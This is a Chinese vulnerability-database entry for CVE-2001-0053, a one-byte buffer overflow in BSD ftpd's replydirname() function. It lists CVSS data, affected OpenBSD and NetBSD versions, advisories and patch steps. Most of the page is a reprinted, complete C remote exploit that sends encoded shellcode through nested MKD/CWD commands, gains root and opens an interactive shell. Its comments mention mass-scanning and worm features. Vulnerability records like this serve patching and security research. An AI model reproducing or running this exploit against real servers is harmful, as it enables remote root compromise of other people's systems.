CVE-2001-0053
CVSS10.0
发布时间 :2001-02-12 00:00:00
修订时间 :2008-09-05 16:23:09
NMCOE    

[原文]One-byte buffer overflow in replydirname function in BSD-based ftpd allows remote attackers to gain root privileges.


[CNNVD]BSD ftpd单字节缓冲区溢出漏洞(CNNVD-200102-049)

        
        源自4.x BSD的FTP服务器实现包含一个严重漏洞,可以远程获取root权限。
        在replydirname()函数中存在单字节缓冲区溢出,此时会覆盖修改被保存的EBP寄存器,当replydirname()函数返回的时候,主调函数中EBP寄存器值被设置成修改后的值。如果主调函数不受此影响并开始正常返回,由于EBP寄存器值已经是修改后的值,提取用于返回的EIP寄存器值的时候并不是从正常位置提取,如果相关栈区在攻击者控制下,程序流程发生变化,此时可以继续采用传统缓冲区溢出技术进一步获取root权限。
        如果系统支持匿名可写目录,比如存在incoming目录,该漏洞很容易成功。缺省情况下溢出条件不满足。此外,OpenBSD缺省情况下FTP服务是关闭的。
        

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:openbsd:openbsd:2.4OpenBSD 2.4
cpe:/a:david_madore:ftpd-bsd:0.2.3
cpe:/o:netbsd:netbsd:1.4.1NetBSD 1.4.1
cpe:/o:openbsd:openbsd:2.8OpenBSD 2.8
cpe:/o:openbsd:openbsd:2.5OpenBSD 2.5
cpe:/o:openbsd:openbsd:2.6OpenBSD 2.6
cpe:/o:openbsd:openbsd:2.7OpenBSD 2.7
cpe:/o:netbsd:netbsd:1.5NetBSD 1.5
cpe:/o:netbsd:netbsd:1.4NetBSD 1.4
cpe:/o:netbsd:netbsd:1.4.2NetBSD 1.4.2

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0053
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0053
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200102-049
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/static/5776.php
(VENDOR_ADVISORY)  XF  bsd-ftpd-replydirname-bo
http://www.securityfocus.com/bid/2124
(VENDOR_ADVISORY)  BID  2124
http://www.openbsd.org/advisories/ftpd_replydirname.txt
(VENDOR_ADVISORY)  OPENBSD  20001218
http://archives.neohapsis.com/archives/bugtraq/2000-12/0275.html
(PATCH)  BUGTRAQ  20001218 Trustix Security Advisory - ed, tcsh, and ftpd-BSD
ftp://ftp.NetBSD.ORG/pub/NetBSD/misc/security/advisories/NetBSD-SA2000-018.txt.asc
(UNKNOWN)  NETBSD  NetBSD-SA2000-018

- 漏洞信息

BSD ftpd单字节缓冲区溢出漏洞
危急 未知
2001-02-12 00:00:00 2005-05-02 00:00:00
远程  
        
        源自4.x BSD的FTP服务器实现包含一个严重漏洞,可以远程获取root权限。
        在replydirname()函数中存在单字节缓冲区溢出,此时会覆盖修改被保存的EBP寄存器,当replydirname()函数返回的时候,主调函数中EBP寄存器值被设置成修改后的值。如果主调函数不受此影响并开始正常返回,由于EBP寄存器值已经是修改后的值,提取用于返回的EIP寄存器值的时候并不是从正常位置提取,如果相关栈区在攻击者控制下,程序流程发生变化,此时可以继续采用传统缓冲区溢出技术进一步获取root权限。
        如果系统支持匿名可写目录,比如存在incoming目录,该漏洞很容易成功。缺省情况下溢出条件不满足。此外,OpenBSD缺省情况下FTP服务是关闭的。
        

- 公告与补丁

        厂商补丁:
        BSD
        ---
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        Progeny Upgrade 1.0 i386 bsd-ftpd_0.3.2-7_i386.deb
        
        http://archive.progeny.com/progeny/updates/newton/bsd-ftpd_0.3.2-7_i386.deb

        David A. Holland
        ----------------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        Progeny Upgrade 1.0 i386 ftpd_0.17-3_i386.deb
        
        http://archive.progeny.com/progeny/updates/newton/ftpd_0.17-3_i386.deb

        David Madore
        ------------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        samiam.org RPM Linux ftpd-BSD-0.2.3-4.i386
        
        http://www.samiam.org/rpms/ftpd-BSD-0.2.3-4.i386.rpm

        NetBSD
        ------
        NetBSD已经为此发布了一个安全公告(NetBSD-SA2000-018)以及相应补丁:
        NetBSD-SA2000-018:One-byte buffer overrun in ftpd
        链接:ftp://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2000-018.txt.asc
        补丁下载:
        NetBSD Patch 1.5 20001220-ftpd-1.5
        ftp://ftp.NetBSD.ORG/pub/NetBSD/misc/security/patches/20001220-ftpd-1.5
        # cd /usr/src/libexec/ftpd
        # patch < 20001220-ftpd
        # make cleandir
        # make depend
        # make # make install
        OpenBSD
        -------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        OpenBSD Patch 005_ftpd.patch
        
        http://www.securityfocus.com/data/vulnerabilities/patches/ 005_ftpd.patch

        Apply by doing:
        cd /usr/src patch -p0 < 005_ftpd.patch
        And then rebuild and install ftpd:
        cd libexec/ftpd
        make obj
        make depend
        make
        make install

- 漏洞信息 (234)

OpenBSD 2.6 / 2.7ftpd Remote Exploit (EDBID:234)
bsd remote
2000-12-20 Verified
21 Scrippie
N/A [点击下载]
/*
   h0h0h0 0-day k0d3z
   Exploit by Scrippie, help by dvorak and jimjones

   greets to sk8

   Not fully developt exploit but it works most of the time ;)

   Things to add:
      - automatic writeable directory finding
      - syn-scan option to do mass-scanning
      - worm capabilities? (should be done seperatly using the -C option

   11/13/2000
*/

#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>


void usage(char *program);
char *strcreat(char *, char *, int);
char *longToChar(unsigned long);
char *xrealloc(void *, size_t);
void xfree(char **ptr);
char *xmalloc(size_t);
int xconnect(char *host, u_short port);
void xsend(int fd, char *buf);
void xsendftpcmd(int fd, char *command, char *param);
void xrecieveall(int fd, char *buf, int size);
void xrecieve(int fd, char *buf, int size);
void ftp_login(int fd, char *user, char *password);
void exploit(int fd);

int verbose = 0;


/*
   Written by dvorak, garbled up by "Smegma" with a word xor 0xaabb mask
   to get rid of dots and slashes.
*/

char heavenlycode[] =
"\x31\xc0\x89\xc1\x80\xc1\x02\x51\x50\x04\x5a\x50\xcd\x80"
"\xeb\x10\x5e\x31\xc9\xb1\x4a\x66\x81\x36\xbb\xaa\x46\x46\xe2\xf7\xeb\x05\xe8\xeb\xff\xff\xff\xff\xff\xff\x50\xcf\xe5\x9b\x7b\xf
a\xbf\xbd\xeb\x67\x3b\xfc\x8a\x6a\x33\xec\xba\xae\x33\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\xb5\x36\xf4\xa5\xf9\xbf\xaf\xeb\x67\x3b\x2
3\x7a\xfc\x8a\x6a\xbf\x97\xeb\x67\x3b\xfb\x8a\x6a\xbf\xa4\xf3\xfa\x76\x2a\x36\xf4\xb9\xf9\x8a\x6a\xbf\xa6\xeb\x67\x3b\x27\xe5\xb
4\xe8\x9b\x7b\xae\x86\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\x8d\x36\xf4\x93\xf9\x36\xf4\x9b\x23\xe5\x82\x32\xec\x97\xf9\xbf\x91\xeb\x6
7\x3b\x42\x2d\x55\x44\x55\xfa\xeb\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x8
5\x95\x84\x94\x84\x95\xeb\x94\xc8\xd2\xc4\x94\xd9\xd3";

char user[255] = "anonymous";
char pass[255] = "anonymous@abc.com";
char write_dir[PATH_MAX] = "/";
int ftpport = 21;
unsigned long int ret_addr = 0;
#define CMD_LOCAL 0
#define CMD_REMOTE 1
int command_type = -1;
char *command = NULL;

struct typeT {
        char *name;
        unsigned long int ret_addr;
};

#define NUM_TYPES 2
struct typeT types[NUM_TYPES] = {
        "OpenBSD 2.6", 0xdfbfd0ac,
        "OpenBSD 2.7", 0xdfbfd0ac};

void
usage(char *program)
{
        int i;
        fprintf(stderr,
                "\nUsage: %s [-h host] [-f port] [-u user] [-p pass] [-d directory] [-t type]\n\t\t[-r retaddr] [-c command] 
[-C command]\n\n"
                "Directory should be an absolute path, writable by the user.\n"
                "The argument of -c will be executed on the remote host\n"
                "while the argument of -C will be executed on the local\n"
                "with its filedescriptors connected to the remote host\n"
                "Valid types:\n",
                program);
        for (i = 0; i < NUM_TYPES; i++) {
                printf("%d : %s\n", i,  types[i].name);
        }
        exit(-1);
}


main(int argc, char **argv)
{
        unsigned int i;
        int opt, fd;
        unsigned int type = 0;
        char *hostname = "localhost";

        if (argc < 2)
                usage(argv[0]);

        while ((opt = getopt(argc, argv, "h:r:u:f:d:t:vp:c:C:")) != -1) {
                switch (opt) {
                case 'h':
                        hostname = optarg;
                        break;
                case 'C':
                        command = optarg;
                        command_type = CMD_LOCAL;
                        break;
                case 'c':
                        command = optarg;
                        command_type = CMD_REMOTE;
                        break;
                case 'r':
                        ret_addr = strtoul(optarg, NULL, 0);
                        break;
                case 'v':
                        verbose++;
                        break;
                case 'f':
                        if (!(ftpport = atoi(optarg))) {
                                fprintf(stderr, "Invalid destination port - %s\n", optarg);
                                exit(-1);
                        }
                        exit(-1);
                        break;
                case 'u':
                        strncpy(user, optarg, sizeof(user) - 1);
                        user[sizeof(user) - 1] = 0x00;
                        break;
                case 'p':
                        strncpy(pass, optarg, sizeof(pass) - 1);
                        pass[sizeof(pass) - 1] = 0x00;
                        break;
                case 'd':
                        strncpy(write_dir, optarg, sizeof(write_dir) - 1);
                        write_dir[sizeof(write_dir) - 1] = 0x00;
                        if ((write_dir[0] != '/')) 
                                usage(argv[0]);
                        if ((write_dir[strlen(write_dir) - 1] != '/'))
                                strncat(write_dir, "/", sizeof(write_dir) - 1);
                        break;
                case 't':
                        type = atoi(optarg);
                        if (type > NUM_TYPES)
                                usage(argv[0]);
                        break;
                default:
                        usage(argv[0]);
                }
        }

        if (ret_addr == 0)
                ret_addr = types[type].ret_addr;
        if ((fd = xconnect(hostname, ftpport)) == -1)
                exit(-1);
        else
                printf("Connected to remote host! Sending evil codes.\n");


        ftp_login(fd, user, pass);
        exploit(fd);


}

int
ftp_cmd_err(int fd, char *command, char *param, char *res, int size, char * msg)
{
        xsendftpcmd(fd, command, param);
        xrecieveall(fd, res, size);

        if (res == NULL)
                return 0;
        if (verbose)
                printf("%s\n", res);
        if (msg && (res[0] != '2')) {
                fprintf(stderr, "%s\n", msg);
                exit(-1);
        }
        return (res[0] != '2');
}

void shell(int fd)
{
        fd_set readfds;
        char buf[1];
        char *tst = "echo ; echo ; echo HAVE FUN ; id ; uname -a\n";

        write(fd, tst, strlen(tst));
        while (1) {
                FD_ZERO(&readfds);
                FD_SET(0, &readfds);
                FD_SET(fd, &readfds);
                select(fd + 1, &readfds, NULL, NULL, NULL);
                if (FD_ISSET(0, &readfds)) {
                        if (read(0, buf, 1) != 1) {
                                perror("read");
                                exit(1);
                        }
                        write(fd, buf, 1);
                }
                if (FD_ISSET(fd, &readfds)) {
                        if (read(fd, buf, 1) != 1) {
                                perror("read");
                                exit(1);
                        }
                        write(1, buf, 1);
                }
        }
}

void do_command(int fd)
{
        char buffer[1024];
        int len;

        if (command_type == CMD_LOCAL) {
                dup2(fd, 0);
                dup2(fd, 1);
                dup2(fd, 2);
                execl(command, command, NULL);
                exit (2);
        }
        write(fd, command, strlen(command));
        write(fd, "\n", 1);
        while ((len = read(fd, buffer, sizeof(buffer))) > 0) {
                write(1, buffer, len);
        }
        exit (0);
}

void execute_command(fd) 
{
}

int exploit_ok(int fd)
{
        char result[1024];
        xsend(fd, "id\n");

        xrecieve(fd, result, sizeof(result));
        return (strstr(result, "uid=") != NULL);
}

void exploit(int fd)
{
        char res[1024];
        int heavenlycode_s;
        char *dir = NULL;

        ftp_cmd_err(fd, "CWD", write_dir, res, 1024, "Can't CWD to write_dir");

        dir = strcreat(dir, "A", 255 - strlen(write_dir));
        ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
        ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
        xfree(&dir);

        /* next on = 256 */

        dir = strcreat(dir, "A", 255);
        ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
        ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
        xfree(&dir);
        /* next on = 512 */

        heavenlycode_s = strlen(heavenlycode);
        dir = strcreat(dir, "A", 254 - heavenlycode_s);
        dir = strcreat(dir, heavenlycode, 1);
        ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
        ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
        xfree(&dir);
        /* next on = 768 */

        dir = strcreat(dir, longToChar(ret_addr), 252 / 4);
        ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
        ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
        xfree(&dir);
        /* length = 1020 */

        /* 1022 moet " zijn */
        dir = strcreat(dir, "AAA\"", 1);
        ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
        ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
        xfree(&dir);

        /* and tell it to blow up */
        ftp_cmd_err(fd, "PWD", NULL, res, 1024, NULL);

        if (!exploit_ok(fd)) {
                if (command != NULL) {
                        exit (2);
                } 
                fprintf(stderr, "Exploit failed\n");
                exit (1);
        }
        if (command == NULL)
                shell(fd);
        else
                do_command(fd);
}


char *
strcreat(char *dest, char *pattern, int repeat)
{
        char *ret;
        size_t plen, dlen = 0;
        int i;

        if (dest)
                dlen = strlen(dest);
        plen = strlen(pattern);

        ret = (char *) xrealloc(dest, dlen + repeat * plen + 1);

        if (!dest)
                ret[0] = 0x00;

        for (i = 0; i < repeat; i++) {
                strcat(ret, pattern);
        }
        return (ret);
}

char *
longToChar(unsigned long blaat)
{
        char *ret;

        ret = (char *) xmalloc(sizeof(long) + 1);
        memcpy(ret, &blaat, sizeof(long));
        ret[sizeof(long)] = 0x00;

        return (ret);
}

char *
xrealloc(void *ptr, size_t size)
{
        char *wittgenstein_was_a_drunken_swine;

        if (!(wittgenstein_was_a_drunken_swine = (char *) realloc(ptr, size))) {
                fprintf(stderr, "Cannot calculate universe\n");
                exit(-1);
        }
        return (wittgenstein_was_a_drunken_swine);
}

void
xfree(char **ptr)
{
        if (!ptr || !*ptr)
                return;
        free(*ptr);
        *ptr = NULL;
}

char *
xmalloc(size_t size)
{
        char *heidegger_was_a_boozy_beggar;

        if (!(heidegger_was_a_boozy_beggar = (char *) malloc(size))) {
                fprintf(stderr, "Out of cheese error\n");
                exit(-1);
        }
        return (heidegger_was_a_boozy_beggar);
}


int
xconnect(char *host, u_short port)
{
        struct hostent *he;
        struct sockaddr_in s_in;
        int fd;

        if ((he = gethostbyname(host)) == NULL) {
                perror("gethostbyname");
                return (-1);
        }
        memset(&s_in, 0, sizeof(s_in));
        s_in.sin_family = AF_INET;
        s_in.sin_port = htons(port);
        memcpy(&s_in.sin_addr.s_addr, he->h_addr, he->h_length);

        if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
                perror("socket");
                return (-1);
        }
        if (connect(fd, (const struct sockaddr *) & s_in, sizeof(s_in)) == -1) {
                perror("connect");
                return (-1);
        }
        return fd;
}

/* returns status from ftpd */
void
ftp_login(int fd, char *user, char *password)
{
        char reply[512];
        int rep;
        xrecieveall(fd, reply, sizeof(reply));
        if (verbose) {
                printf("Logging in ..\n");
                printf("%s\n", reply);
        }
        xsendftpcmd(fd, "USER", user);
        xrecieveall(fd, reply, sizeof(reply));
        if (verbose)
                printf("%s\n", reply);
        xsendftpcmd(fd, "PASS", password);
        xrecieveall(fd, reply, sizeof(reply));
        if (verbose)
                printf("%s\n", reply);

        if (reply[0] != '2') {
                printf("Login failed.\n");
                exit(-1);
        }
}

void
xsendftpcmd(int fd, char *command, char *param)
{
        xsend(fd, command);

        if (param != NULL) {
                xsend(fd, " ");
                xsend(fd, param);
        }
        xsend(fd, "\r\n");
}


void
xsend(int fd, char *buf)
{

        if (send(fd, buf, strlen(buf), 0) != strlen(buf)) {
                perror("send");
                exit(-1);
        }
}

void
xrecieveall(int fd, char *buf, int size)
{
        char scratch[6];

        if (buf == NULL || size == 0) {
                buf = scratch;
                size = sizeof(scratch);
        }
        memset(buf, 0, size);
        do {
                xrecieve(fd, buf, size);
        } while (buf[3] == '-');
}
/* recieves a line from the ftpd */
void
xrecieve(int fd, char *buf, int size)
{
        char *end;
        char ch;

        end = buf + size;

        while (buf < end) {
                if (read(fd, buf, 1) != 1) {
                        perror("read"); /* XXX */
                        exit(-1);
                }
                if (buf[0] == '\n') {
                        buf[0] = '\0';
                        return;
                }
                if (buf[0] != '\r') {
                        buf++;
                }
        }
        buf--;
        while (read(fd, buf, 1) == 1) {
                if (buf[0] == '\n') {
                        buf[0] = '\0';
                        return;
                }
        }
        perror("read");         /* XXX */
        exit(-1);
}


// milw0rm.com [2000-12-20]
		

- 漏洞信息 (20512)

BSD ftpd 0.3.2 Single Byte Buffer Overflow Vulnerability (EDBID:20512)
unix remote
2000-12-18 Verified
0 Scrippie
N/A [点击下载]
source: http://www.securityfocus.com/bid/2124/info

The ftp daemon derived from 4.x BSD source contains a serious vulnerability that may compromise root access.

There exists a one byte overflow in the replydirname() function. The overflow condition is due to an off-by-one bug that allows an attacker to write a null byte beyond the boundaries of a local buffer and over the lowest byte of the saved base pointer.

As a result, the numerical value of the pointer decreases (and it thus points to a higher location (or lower address) on the stack than it should) and when the replydirname() function returns, the modified saved base pointer is stored in the base pointer register. When the calling function returns, the return address is read from an offset of where the base pointer points to. With the last byte of the base pointer zero, this will be a location other than where it should be.

If this region of the stack is under the control of the attacker, such as the local variable which contained the extra byte in the first place, an arbitrary address can be placed there that will be used as the saved return address by the function.

This is the case in ftpd. It is possible for an attacker to force the ftp daemon to look in user-supplied data for a return address and then execute instructions at the location as root.

This vulnerability can be exploited on systems supporting anonymous ftp if a writeable directory exists (such as an "incoming" directory). This is rarely in place by default.

It should noted that OpenBSD ships with ftp disabled, though it is an extremely commonly used service. 

http://www.exploit-db.com/sploits/20512.tar.gz		

- 漏洞信息

1693
Multiple BSD ftpd replydirname() Function Single Byte Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2000-12-18 Unknow
Unknow Unknow

- 解决方案

Products

OpenBSD

OpenBSD

2.6
2.8
2.7
2.0
2.4
2.1
2.2
2.5
2.3

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站